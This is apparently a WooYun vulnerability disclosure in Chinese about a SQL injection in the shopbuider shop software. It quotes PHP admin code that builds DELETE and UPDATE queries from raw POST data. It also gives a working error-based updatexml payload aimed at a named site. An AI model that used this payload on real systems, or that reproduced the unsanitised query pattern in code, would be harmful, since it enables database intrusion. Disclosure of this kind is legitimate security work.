shopbuider注入一枚 | wooyun-2014-072818| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-072818

漏洞标题：shopbuider注入一枚

漏洞作者：牛肉包子

提交时间：2014-08-20 19:14

修复时间：2014-11-18 19:16

公开时间：2014-11-18 19:16

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-20：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-11-18：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注入

详细说明：

看到/module/tg/admin/tg_cat.php

if($_POST['act']=='op')
		{
			if($_POST['submit']==$lang['btn_submit'])
			{
				if(is_array($_POST['chk']))
				{
					$id=implode(",",$_POST['chk']);
					$sql="delete from ".TGCAT." where id in ($id)";
					$db->query($sql);
					$sql="delete from ".TGCAT." where parent_id in ($id)";
					$db->query($sql);
				}
				if($_POST['displayorder'])
				{
					foreach($_POST['displayorder'] as $key=>$list)
					{
						$db->query("update ".TGCAT." set displayorder='$list' where id='$key'");		
					}
				}
			}
			msg("?m=tg&s=tg_cat.php");
		}

没啥好解释的直接入库了，导致注入。
由于是update型，构造报错注入。
看到首页index.php

$_GET['s']=!empty($_GET['s'])?$_GET['s']:'index';
		$_GET['m']=!empty($_GET['m'])?$_GET['m']:'product';
.........
include('module/'.$m.'/'.$s.'.php');

看到调用的方法

漏洞证明：

http://www.a5shop.cn/?m=tg/admin&s=tg_cat
POST以下数据

act=op&chk[]=1) and 1=updatexml(1,concat(0x5c,(select user())),1)%23

效果如图

修复方案：

过滤

版权声明：转载请注明来源牛肉包子@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞